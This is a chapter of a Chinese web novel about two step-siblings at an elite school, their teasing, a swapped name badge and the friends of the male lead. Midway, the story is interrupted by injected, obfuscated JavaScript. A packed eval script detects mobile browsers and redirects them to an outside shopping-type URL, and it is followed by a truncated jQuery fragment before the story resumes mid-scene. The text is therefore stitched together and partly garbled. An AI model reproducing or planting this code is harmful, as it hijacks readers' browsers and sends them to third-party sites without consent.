周一早上,江念云睡过了头。
要是以前,她躺在床上刷手机发现快要迟到,绝对会蒙头继续睡;但现在,她实在不想和周嘉礼在家抬头不见低头见,看着碍眼不说,还总莫名心烦意乱,只能往学校跑躲个清净。
她飞快收拾好,背上书包下楼,火急火燎冲到酒柜旁拉开抽屉,在一堆车钥匙里翻来覆去,挑了辆能配得上今天特意戴的细水钻珍珠发箍的越野车,然后跑去餐桌叼了片面包片,和悠然坐在桌边吃饭的周嘉礼短暂对视一眼,便快步去玄关换鞋,随手拿起刘姨放在鞋柜上的校牌粗心地别在身上,迅速的出了门。
半晌,玄关响起一阵不大的关门声。
刘姨听到动静,“哎——”地喊着从厨房跑出来,手里攥着个已经打包好的早餐纸袋追出去,说:“早餐给你打包好了,顺手带着啊,小姐!”
回答她的,是车轮“刺溜”一声驶出大门,碾过沙砾的声响。
刘姨望着车子开远,又把纸袋拿回屋,掂了掂,无奈叹气,对餐厅里的周嘉礼说:“你说她跑那么急,也不知道早起来会儿。”
周嘉礼刚好吃完早饭,起身抽了张纸巾擦嘴,温和地接过她手里还热乎的早餐袋,微微笑道:“给我吧,等会儿我带去学校给她。”
刘姨愣了愣,意外道:“你今天要去学校啊?”
受伤在家休养快一年,家里照顾他的人早习惯了他每天待在客厅的身影,突然听说他要去学校,一时还有点不太适应。
按现在的情况,周嘉礼去学校也没课可上了,因为高三上学期考完试、向意向大学提交offer申请后,剩下的一学期除了在家等录取通知外,身边大多同学不是去旅游消遣,就是提前收拾行李去目标国家早早适应文化差异了。
他这时候去学校,跟打酱油没两样,教室里都不知道还有几个人。
不过架不住某人念旧,非要赶在港中文开学前,拉着谢蓁和段时尘把饭卡里剩下的钱刷完。
大清早,他就在群里打语音电话吵得两人没法睡,硬是把他们磨得没了脾气。
他们在群里问:[你饭卡还有多少钱?]
周嘉礼义正言辞地回了个惨遭一阵白眼的数字:[19]
谢蓁没忍住发语音揶揄:“啥家庭条件啊,在卡里充这么多钱,日子不过了?明天拿着你那张卡,在餐厅窗口买杯奶茶,买大杯的,拿三根吸管,咱三一人对着一口喝,我们这嘴啊,算是跟你享福了周嘉礼。”
段时尘笑得在群里狂刷表情包,疑惑问:[你卡是不是被盗刷了?我记得上次跟你吃饭时还有二百多,怎么只剩十九了?]
周嘉礼:[又没有一种可能,我上次是二十多...?]
谢蓁:[看来某人年纪轻轻的,已经要到戴老花镜的地步了。]
段时尘:[.....]
周嘉礼:[快起来,我在学校等你们。]
两人选择性装瞎,刚才还热闹的三人小群瞬间陷入寂静,没了下文。
周嘉礼见状,立马抛出橄榄枝,说:[今天来的第一个人,我送他三千万。]
不出两秒,安静的对话框接连弹出消息。
段时尘急忙发语音,生怕谢蓁跟他抢:[老谢家境殷实,不缺这钱,我先预定了,我现在就起床。]
平时与世无争的“和尚”突然被激起好胜心,说:[在港城,天上掉下个钢镚,那都得姓段。要我说,您老人家还是别跟我抢了,把这笔钱让给真正有需求的人(我)吧。]
周嘉礼笑着收起手机,提着早餐袋走到玄关换鞋。
换好鞋准备起身时,他抬眼不经意瞥见鞋柜置物处上江念云的校牌,动作一滞,以为是她早上出门急忘戴了,便顺手把校牌揣进口袋,打算到学校后连早餐一起给她。
口袋里的手机还在一声接一声地响,也不知道谢蓁和段时尘又在吵些什么。
刘姨见他手里拿着东西不方便,便迈着小碎步快步走到玄关给他开门,殷勤地问道:“您看晚上想吃点什么?我去准备。”
周嘉礼在门边略作思索,语气平和地回答:“做几道阿念爱吃的菜就好,我没什么忌口,什么都能吃。”
刘姨笑着点头:“行。”
...
二十多分钟后,一辆黑色奔驰越野车与一辆黑色宾利轿车一前一后驶入云起校门口对面的地下停车场。
江念云漫不经心地瞥了眼后视镜,看见那串熟悉的车牌时,她眉头几不可察地微微蹙起。
她握着方向盘的手紧了紧,伸长脖子凑到挡风玻璃前,像侦探勘察般警惕地左右扫视停车场四周,发现没有其他人在后,才松了口气推开车门下来,纳闷地看向周嘉礼:“你跟着我干嘛?”
周嘉礼被她气笑了,话不过脑子就冲了出来,反问她:“学校你家开的?”
江念云狐疑地盯着他,那眼神活像在看个傻子,上下打量了他一番,将手上的书包甩到肩上,眉梢一挑,语气里满是藏不住的得意:“不好意思啊这位二十二岁的老大哥。这学校,还真就是我家开的。”
“二十一,二十二还没过。”周嘉礼脸上的笑容僵了僵,皮笑肉不笑地攥紧了手里的纸袋,咬着牙笑盈盈地问:“你、说、谁、老、大、哥?”
这是躲不过他,开始年龄攻击了。
江念云故作无辜地扫了圈空荡荡的停车场,眨着水灵灵的大眼睛:“我也不知道说的是谁,但这里除了我,好像就只有你了吧。你要是认领这个名号,我可以勉为其难为你办个简单的加冕仪式哦!”
“......”
周嘉礼手插进裤兜,摸到早上顺手给她带的校牌,放弃了口舌之争,目光落在她校服上别错的校牌上,忽而低头一笑,变脸比翻书还快,点头承认:“行啊,认领了。”
“......”
有这不要个死脸的配得感,做什么事都会成功的吧?
江念云懒得跟他啰嗦,她真的快要迟到了。
她径直往停车场地下通道往前走,准备抄个小路去学校。
云起校内各类设施都堪称顶级完美,唯一美中不足的就是停车场修的太远了,建在学校外面,这真的特别耽误像她这样踩点上学/上班的人。
她正腹诽是谁拍板把停车场建在外面时,手腕突然被人攥住一扯,猝不及防踉跄两步,险些栽倒在地。
后背下侧被一双手扶住。
她勉强稳了稳身形,转身不客气道:“大叔,停车场有监控,少跟我拉拉扯扯。”
大……叔……
周嘉礼嘴边的笑容瞬间凝滞。
他气的把刘姨给她打包的早餐塞她手上,一句话没说,转身就走了。
.
第一节课上至一半,江念云背着书包出现在教室门口。
她懒散着抬手轻叩了两声门,不等讲台上的老师应声,就若无其事地径直走进来,穿过稀疏的过道回到座位上。
教室里十分安静,安静得掉根针都能听见。
某人椅子拉开的尖锐声响瞬间吸引了所有目光。
她今天的打扮很乖,却难掩身上一举一动自带的冷冽气息,透着股松弛又游刃有余的劲儿。
那张精致小巧的圆脸略施粉黛,柔顺的黑长发披在腰际,头上戴着珍珠水钻发箍,脸颊两边的公主切碎发因为长时间没留意,已经长到肩膀处,看着少了几分酷飒的个性,反倒与林听意喜欢的古早千金风稍稍接近不少。
她视若无睹地拉开椅子坐下,讲台上的女人用手拍了拍黑板上的多媒体,将全班注意力重新聚集在黑板上。
叶旭坐在她旁边,悄悄斜睨视线瞥了她一眼。她原本只是想看江念云手上拿的纸袋里面装了什么而已,谁曾想一偏头,率先映入眼帘的,是她校服上别错的学生校牌。
她假装凑过身子,竖起桌面摊开的全英课本,遮挡着脸,醉翁之意不在酒地指着江念云桌面放的纸袋,问她里面装了什么,又趁这个时机偷瞄了眼她那戴错的校牌,去看清那上面的名字。
叶旭联想到去年江念云曾跟她说自己有个朋友被他哥强吻的事,她当时就挺好奇她口中的这个哥哥是谁来着。
云起财团从未公开理事长有儿子的消息,而且听林听意说,她妈妈早就去世了。那照这样的想,江念云口中的哥哥,唯一能解释通的,就只能是再婚重组家庭。
江念云对她的行为尚且一无所知。
叶旭好奇地去睨她胸口上的校牌,这不看不知道,一看差点没让她惊愕到当场兴奋地叫出声。
周嘉礼。
周嘉礼。
周嘉礼。
她不可置信地确认了好几遍,才意识到自己不是眼花和没睡醒。
妈耶!江念云的哥哥居然是——周!嘉!礼!
大清早给她这个“百事通”砸来这么大的猛料,简直让她脑子宕机,有点消化不了了。
她强装镇定坐回座位,放下那本掩耳盗铃似的挡脸课本,抬头愣愣地盯着黑板上密密麻麻的英文字母和多媒体上花花绿绿的PPT,晕乎乎了好一会儿才缓过来。
念及是上课时间,叶旭强忍着没立刻拉着她问情况。
好在江念云来的时候这节课已经上到一半了,要不然真是要纯纯熬死她。
不久,下课铃声响起。
江念云收起书,拿出抽屉里的纸袋翻了翻,摸着里面的东西大多冷透了,没了食欲,只掏出刘姨早上鲜榨的蔬菜汁,拧开瓶盖一饮而尽,然后丢了。
纸袋里剩下的几个包子,她递给了叶旭。
云起每层楼的接水室都有微波炉,她懒得跑一趟热包子,索性全给叶旭,让她想吃自己去热,省得浪费。
叶旭早就习惯性接受江念云不定时的投喂,所以也接的理所当然,完全不觉得是对方不要的施舍。
她拿着纸袋,悄悄挪椅子凑过去,欲言又止,止言又欲地试探:“阿念,你跟周嘉礼……认识吗?”
江念云一顿,迟疑的表情在脸上转瞬即逝,随即轻松地笑了笑,故作不熟:“我怎么会认识他?他不是比我们大一届吗?”
叶旭瞟了眼她的校牌,猜到江念云可能有顾虑,没戳穿她的伪装,只说:“好像去年云起典礼事故后,我就很少见他来学校了,也不知道他的伤怎么样了。”
“他好得很,能跑能跳,吃嘛嘛香。”江念云没好气地嘴快道,“天天在醋坛子里都快泡发了。”
叶旭强忍笑意,意外追问:“你怎么知道?你不是说不认识他吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453461|197571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我...”江念云一时语塞。
怕被叶旭发现异样,她迅速扯了个谎,说:“我之前...跟着我爸去探视过他,他现在已经能走路,说不定今天就会来学校。”
叶旭眼睛一亮,拉着她衣袖追问:“他今天来?真的假的?他们那届不是没课了吗,来学校干嘛?”
“不知道。”江念云不想提他,心烦。
前两天周嘉礼提出要跟她谈一场真心实意的恋爱,她没答应。
之前她主动低头哄了他那么多次,从小到大没对谁这样过,哪能他说谈就谈?不得让他花点心思追追,看看他的决心有多大,有多喜欢她?
但相比一切来说,她最想要的,其实是周嘉礼放她自由。
她确实喜欢他,可爱在她的生命里占比很低,低到可以忽略不计,低到人生的所有事都可以排优先级,唯独这件事永远被搁置在末尾,不想也不愿放在最重要的位置。
况且周嘉礼已经答应她,说会给江建林一个好的结局。
在彼此心有嫌隙,却又纠缠不清的情况下,他能给她个这样的承诺,江念云已经很满意了。
-
谢蓁和段时尘两人说是要争周嘉礼口中的那三千万,但最后磨磨蹭蹭还是等到中午才来学校,把一个‘打嘴炮上的巨人,行动力上的矮子’这句话展现的淋漓尽致。
两人到了学校也没去教室,直接坐摆渡车到最近的餐厅,讨论怎么花周嘉礼卡里那19块“巨款”。
三人在餐厅门口碰面,还没打招呼,谢蓁和段时尘就意有所指地摊开手掌,伸到周嘉礼面前要钱。
周嘉礼扫了他们一眼,眼睛一转就满腹坏点子,耍赖道:“早上说的是谁先来给谁三千万,没说你们一起来都有。”
谢蓁和段时尘面面相觑几秒,心胸宽广地对彼此说:“没事,一人一千五百万也不少,对吧?”
两人瞬间达成共识,推出一个人后退几步,营造前后脚的假象,说自己是第一个到的,伸手不客气地要钱。
周嘉礼见混不过去,握住段时尘的手,装出极其真诚陶醉的模样:“你可要接好我送你的三千万,这里面都是我对你沉甸甸的爱啊。”
段时尘听闻,眼皮适时一跳,敏锐嗅出几分上当受骗的气息。
果不其然。
只听,周嘉礼握着他手不停地晃,笑着说:“千万要开心,千万要幸福,千万要健康。”
“这是我送你的三千万。”
段时尘:“......”
那一刻,他不由得心想,自己手机是不是该下反诈APP了?
谢蓁双手环腰,在两人后面,靠在餐厅玻璃门边笑得直不起身。
“我去你大爷的。”段时尘甩开他的手,翻个白眼走进餐厅,懒得搭理他。
周嘉礼笑着回头看谢蓁,谢蓁搭着他的肩,两人笑着跟在段时尘身后进去。
虽然开了玩笑骗他们来陪玩,但周嘉礼也没白让他们跑一趟,自觉拿手机买单请了顿饭。
吃完饭,三人端盘子送到回收处,顺便在水池边洗了手。
从回收处出来时,放学铃刚响没多久,正值午高峰阶段,一波接一波的学生三两成群的从身边擦肩而过。
距离各自开学还有段时间,谢蓁和段时尘这两天一直在计划要不要出去玩。
在他们三个人里,除了周嘉礼报了港中文选择留在国内读大学外,其余两人都飘洋过海隔得很远,一个在加拿大,一个在澳洲。
谢蓁在加拿大,段时尘在澳洲。
估计以后不刻意聚的话,很少有机会再见上面了。
但两人一言我一语的,在去的地方上产生了很大分歧,便把希望落在了周嘉礼身上,这才想起来要问他要不要去。
周嘉礼低头刷着手机,淡声回:“我不去了。”
段时尘听他这么说,挑眉笑着打趣道:“哟,看不出来啊,这江念云还挺粘人,是离不开你?”
谢蓁对周嘉礼门清儿,附和道:“是他离不开她,谈个恋爱谈到生物进化了。”
“啥意思?”段时尘面露惘然。
“还能啥意思?”谢蓁嗤了一声:“舔狗呗。”
周嘉礼目光从手机上移离,攥紧拳头使劲往谢蓁胸前锤,又气又笑:“说的跟你不舔一样。”
谢蓁不说话了。
段时尘在一旁看热闹不嫌事大。
三人说说笑笑走到餐厅门口。
周嘉礼刚要掀帘子出去,身后突然有人喊他:“周嘉礼学长。”
女生细细的声线混在喧嚣里,走在前面的周嘉礼没听见。
但好在走在后面的两人耳尖听到了。
他们回头疑惑地看了她一眼,女生瘦瘦小小,不算特别漂亮出众,气质也不如学校多数女生亮眼,想来家庭条件与他们有些差距,但她身上有种特殊的劲儿,像从谷底钻出来的坚韧小花,让人不自觉生出几分保护欲。
谢蓁看了她两秒,拍拍周嘉礼的肩:“好像有人找你。”
周嘉礼狐疑转身,望向她,礼貌又疏离地笑了笑,问道:“你找我?”
女生见他对自己没印象,温婉笑了笑,不疾不徐道:“学长,我是之前在典礼事故上被你救下的女生。”